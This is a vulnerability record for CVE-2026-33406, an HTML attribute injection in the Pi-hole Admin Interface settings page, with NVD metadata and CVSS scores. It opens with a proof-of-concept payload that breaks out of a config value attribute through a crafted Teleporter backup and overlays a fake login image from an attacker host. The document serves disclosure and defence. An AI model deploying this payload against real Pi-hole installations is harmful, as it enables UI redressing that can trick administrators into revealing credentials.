CVE-2026-33406

// PoC Concept: Injecting style attribute via Teleporter backup // The payload below breaks out of the value attribute using a double quote. // It then injects a style attribute to perform UI redressing (e.g., hiding elements). // Note: JavaScript execution is blocked by CSP, but style injection works. const maliciousPayload = 'default" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:url(https://attacker.com/fake-login.png); z-index:9999" data="'; /* Example of how this might appear in a Teleporter backup JSON: { "config": { "some_setting_key": "default\" style=\"display:none...\" data=\"" } } When rendered in settings-advanced.js: <input value="default" style="display:none..." data="" /> */

{"cve": {"id": "CVE-2026-33406", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:10.627", "lastModified": "2026-04-14T02:04:17.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. From 6.0 to before 6.5, configuration values from the /api/config endpoint are placed directly into HTML value=\"\" attributes without escaping in settings-advanced.js, enabling HTML attribute injection. A double quote in any config value breaks out of the attribute context. JavaScript execution is blocked by the server's CSP (script-src 'self'), but injected attributes can alter element styling for UI redressing. The primary attack vector is importing a malicious teleporter backup, which bypasses per-field server-side validation. This vulnerability is fixed in 6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "3F1EA9FF-4B56-41DE-A685-A1B75E6ECEF2"}]}]}], "references": [{"url": "https://github.com/pi-hole/web/security/advisories/GHSA-9rfm-c5g6-538p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}